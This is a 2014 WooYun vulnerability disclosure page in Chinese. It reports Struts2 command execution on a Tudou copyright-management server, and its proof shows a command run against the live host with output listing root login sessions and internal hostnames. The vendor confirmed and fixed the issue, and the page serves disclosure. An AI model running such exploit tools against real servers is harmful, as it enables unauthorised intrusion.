当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-049935

漏洞标题：土豆网某处服务器存在Str2命令执行

相关厂商：土豆网

漏洞作者： Herolon

提交时间：2014-01-27 16:42

修复时间：2014-03-13 16:43

公开时间：2014-03-13 16:43

漏洞类型：系统/服务补丁不及时

危害等级：低

自评Rank：5

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-01-27： 细节已通知厂商并且等待厂商处理中
2014-01-31： 厂商已经确认，细节仅向厂商公开
2014-02-10： 细节向核心白帽子及相关领域专家公开
2014-02-20： 细节向普通白帽子公开
2014-03-02： 细节向实习白帽子公开
2014-03-13： 细节向公众公开

简要描述：

土豆网某处服务器存在Str2命令执行

详细说明：

土豆网某处服务器存在Str2命令执行
http://copyright.tudou.com/cpmanage/system/admin-login

漏洞证明：

str.jpg


$ ./xwork copyright.tudou.com last
[+] Now try to exploit the copyright.tudou.com
[1] http://copyright.tudou.com/cpfront/frontagentuser/login
[2] http://copyright.tudou.com/cpfront/frontagentuser/user-regist
[3] http://copyright.tudou.com/cpfront/frontagentuser/user-regist
[+] Find 2 URLs
[+] Stop scan , found the vulnerability [ http://copyright.tudou.com/cpfront/frontagentuser/login ] !!!
[+] The target OS is unix 
[*] Now Exploit it !!
-----------------------------------
root     pts/1        manage1.hgh.tudo Fri Jan 17 10:16 - 10:16  (00:00)    
root     pts/1        manage2.hgh.tudo Wed Jan 15 11:01 - 11:36  (00:34)    
root     pts/1        manage2.hgh.tudo Wed Jan 15 10:01 - 10:04  (00:03)    
root     pts/1        manage2.hgh.tudo Wed Jan 15 09:59 - 09:59  (00:00)    
root     pts/2        manage1.hgh.tudo Wed Jan 15 09:54 - 09:58  (00:03)    
root     pts/1        manage1.hgh.tudo Wed Jan 15 09:53 - 09:59  (00:05)    
root     pts/1        manage1.hgh.tudo Wed Jan 15 08:49 - 08:50  (00:01)    
root     pts/1        manage1.hgh.tudo Tue Jan 14 09:12 - 09:13  (00:00)    
root     pts/1        manage1.hgh.tudo Wed Jan  8 17:35 - 17:39  (00:03)    
toodou   pts/4        manage3.hgh.tudo Wed Jan  8 16:41 - 16:41  (00:00)

修复方案：

版权声明：转载请注明来源 Herolon@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2014-01-31 10:33

厂商回复：

多谢，已处理。祝马年身体健康！马到功成！马上有钱！

最新状态：

暂无